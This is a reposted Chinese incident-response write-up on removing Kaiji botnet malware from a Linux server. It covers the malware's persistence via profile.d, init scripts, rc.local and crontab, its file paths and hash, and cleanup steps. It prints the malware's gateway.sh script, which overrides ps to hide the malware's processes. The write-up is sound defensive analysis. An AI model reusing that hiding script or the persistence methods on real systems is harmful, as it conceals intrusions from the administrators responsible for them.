【应急响应】记一次kaiji病毒查杀

admin 2026-03-06 18:07:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了一次Kaiji病毒的应急响应实战。排查发现病毒通过篡改系统命令、写入启动项和计划任务实现持久化。文章列出了bash.cfg、gateway.sh等恶意文件路径,分析了命令劫持与隐藏挂载等对抗手段,给出了解锁文件属性、使用原生命令绕过劫持等处置建议,对排查同类僵尸病毒具有较高参考价值。 综合评分: 86 文章分类: 应急响应,恶意软件,实战经验,终端安全


cover_image

【应急响应】记一次kaiji病毒查杀

原创

xxs00 xxs00

凌霜雁安全志

2026年3月6日 14:46 湖南

问题发现

在防火墙上发现外联恶意网站

排查流程

病毒会篡改系统命令,目录/etc/profile.d,其中gateway.sh为篡改文件 ,使用/usr/bin/ls -al查看。

stat查看文件的具体详情,可以看到change中文件落地时间为2024-7-13,可判断系统2024-7-13日感染kaiji病毒。

将gateway.sh文件移至tmp目录下,重新登陆,即可使篡改失效,病毒文件高亮显示,其中bash.cfg是病毒自复制文件,用于启动病毒样本,大小为5.2M,bash.cfg.sh用于启动bash.cfg,全部移动到tmp下。

启动项中,存在dns-udp4,是病毒植入各个级别启动项的文件,用于启动system.pub,位于目录/etc/init.d、/etc/rc.d、rc[0~6]。

dns-udp4的具体内容,system.pub也是病毒自复制文件,用于启动病毒样本。

在rc.local下,可以发现启动/usr/sbin/netstat.cfg,这个文件也是病毒的自复制文件,用于启动病毒样本。

计划任务/etc/crontab中,可以看到每分钟启动/.mod文件的定时任务。

/.mod用于启动/usr/lib/libgdi.so.0.8.2,这是伪装成so的病毒自复制文件,用于启动病毒样本。

在/etc/init.d目录下的文件中,病毒会遍历,在每条if..then后面插入/lib/system.mark,/usr/lib中还存在system.mark,同样是病毒自复制文件。

此次排查在/tmp下所有的病毒文件,共9个

病毒入侵时间在2024-7-13,日志被覆盖,无法溯源。

小细节

1、病毒会通过mount挂载自身,无法查看网络连接pid

通过命令 cat proc/$$/mountinfo | grep proc 查看隐藏挂载,其中/proc/1111这种纯数字大概率为恶意挂载

通过命令 unmount /proc/PID 接触挂载即可

2、病毒文件被赋予ia属性

a:追加锁;i:不可变锁

lsattr /etc/profile.d/gateway.sh 查看文件属性

chattr -ai /etc/profile.d/gateway.sh 解除文件ai属性

kaiji病毒总结

1、病毒概述

Kaiji 病毒是一种针对 Linux 系统的恶意软件变体,2020 年左右首次被发现。主要通过 SSH 暴力破解传播,利用弱密码入侵系统,将设备转化为 DDoS 僵尸网络,同时可能引起僵尸网络、进行挖矿或横向传播,其变体至今活跃于云服务器和暴露 SSH 服务,常伪装成系统文件或进程以逃避检测。

注意:感染kaiji病毒后通常也伴随xmrig,kswpad等其他病毒,注意排查。

2、样本哈希值

SHA256:66d9d837015f3f840418f5b61ce78c7fa8648e9b1b3f949c3c6a0c7d3b28ad75

其他已知哈希:根据威胁情报平台,可能有多个变体哈希。所有病毒文件的大小通常为 5.2 MB,且 MD5 值相同。病毒文件即使被删除,也会通过其他组件重新释放,并外联 C2 服务器接收指令。

3、病毒常见的恶意文件

注:以下仅为病毒常见文件,可能存在变种名称

| 文件名称 | 常见路径 | | — | — | | .mod | /tmp | | gateway.sh | /etc/profile.d | | bash.cfg / bash.cfg.sh | /etc/profile.d | | libgdi.so.8.0.2 | /usr/lib | | dns-udp4 | /etc/init.d | | system.mark / system.pub | /lib、/boot | | netstat.cfg | /usr/sbin/ | | /tmp/aarch64 、 /tmp/adm64 | /tmp | | quotaon.service | 伪装成系统磁盘配额服务 |

3、入侵感染流程图

从入侵到下载 /tmp/amd64 的初始阶段。通过 mount 隐藏文件。 自复制四个恶意文件,并通过各个配置文件拉起。 生成持久化文件 /.mod、gateway.sh、dns-udp4。 修改配置文件插入拉起命令。 伪装服务和命令劫持。

4、篡改命令机制

病毒通过 gateway.sh 脚本实现命令劫持。该脚本定义了多个函数,覆盖常用系统命令,并使用 sed 过滤输出,删除病毒相关条目。脚本内容如下

#!/bin/bashfunction ps {     proc_name=$(/usr/bin/ps $@);    proc_name=$(echo "$proc_name" | sed -e '/\/usr\/bin\/include\//d');    proc_name=$(echo "$proc_name" | sed -e '/dns-udp4/d');    proc_name=$(echo "$proc_name" | sed -e '/quotaon.service/d');    proc_name=$(echo "$proc_name" | sed -e '/system.pub/d');    proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');    proc_name=$(echo "$proc_name" | sed -e '/.mod/d');    proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.2/d');    proc_name=$(echo "$proc_name" | sed -e '/system.mark/d');    proc_name=$(echo "$proc_name" | sed -e '/netstat.cfg/d');    proc_name=$(echo "$proc_name" | sed -e '/bash.cfg/d');    proc_name=$(echo "$proc_name" | sed -e '/system.pub/d');    echo "$proc_name"; }

类似函数定义netstat, dir, ls, find 等命令。 当用户执行 ls 等命令时,会调用原命令但过滤掉病毒文件(如 dns-udp4、libgdi.so.0.8.2),增加排查难度。伪装文件如 netstat 会覆盖系统工具。 将 gateway.sh 移动到 /tmp 目录下,然后重新连接服务器,使其失效。或使用原生命令如 /usr/bin/ls 可以绕过劫持,发现隐藏文件。

5、主机安全扫描

参考链接:

https://blog.csdn.net/2301_81464130/article/details/142979459


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:凌霜雁安全志 xxs00 xxs00《【应急响应】记一次kaiji病毒查杀》

OpenClaw安全问题 网络安全文章

OpenClaw安全问题

文章总结: 本文剖析OpenClaw框架因配置不当引发的四大风险:exec策略宽松致远程命令执行、密钥硬编码致泄露、Gateway公网暴露及Node配对缺乏验证
评论:0   参与:  0